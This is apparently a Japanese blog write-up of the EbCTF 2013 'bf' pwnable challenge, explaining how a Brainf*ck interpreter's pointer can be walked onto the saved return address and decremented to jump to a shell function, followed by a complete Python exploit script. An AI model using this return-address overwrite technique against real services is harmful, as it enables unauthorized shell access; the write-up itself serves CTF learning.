更新日時で差をつけろ

もはや更新日時でしか差を付けられない

EDCTF 2013 「bf」 を解いた

問題ファイル http://shell-storm.org/repo/CTF/EbCTF-2013-08/Pwnables/200/

5時間ぐらいかかってしまった・・・oh...
???「でも正解できればOKです!」
これまでは裏紙にスタックの絵を雑に書いていたが、罫線のあるノートに書くと見やすかった。次もそうしよう。
pwnable.twのcalcに似たものを感じる(似てるとは言ってない)。が、電卓ではなく独自言語でいろいろする感じ。
コードに出てくる演算子を整理している時に気づいた。Brainf*ckだ〜〜ファイル名の意味もわかった。

0x0 +
0x1 -
0x2 >
0x3 <
0x4 [
0x5 ]
0x6 ,
0x7 .

Brainf*ckでの値が入るバッファのアドレスをリークしてみたけど、コードは1回しか送れないので意味がなかった…

shellというピッタリな関数があるので、そこにリターンさせればよい。
Brainf*ck用のバッファは$ebp-0xc8から0x80だけmemsetされている。その下にはアドレスやポインタの値が入ったローカル変数が並び、リターンアドレスがある。
>のたびに4バイトポインタがずれるので、0xc8 / 4 + 1だけ繰り返すとリターンアドレスのある場所までポインタを動かせる。
そして、shell関数のある0x8048a6eに中身を変更するので、もともとの値である0x8048a9dの差分だけ-で中の値を操作する。

Exploit

短い〜

import socket, time, os, struct, telnetlib
 
def connect(ip, port):
    return socket.create_connection((ip, port))
 
def p(x):
    return struct.pack("<I", x)
 
def u(x):
    return struct.unpack("<I", x)[0]
 
def interact(s):
    t = telnetlib.Telnet()
    t.sock = s
    t.interact()
 
s = connect('localhost', 62000)
 
### exploit ###
retaddr_val = 0x8048a9d
retaddr_val_target = 0x8048a6e # shell function
delta = retaddr_val - retaddr_val_target
 
payload  = '>' * (0xc8 / 4 + 1)
payload += '-' * delta
payload += '\n'
 
# leak buffer's address
# payload  = '>' * (0x20 + 1)
# payload += '.'
 
s.recv(1024)
s.send(payload)
 
interact(s)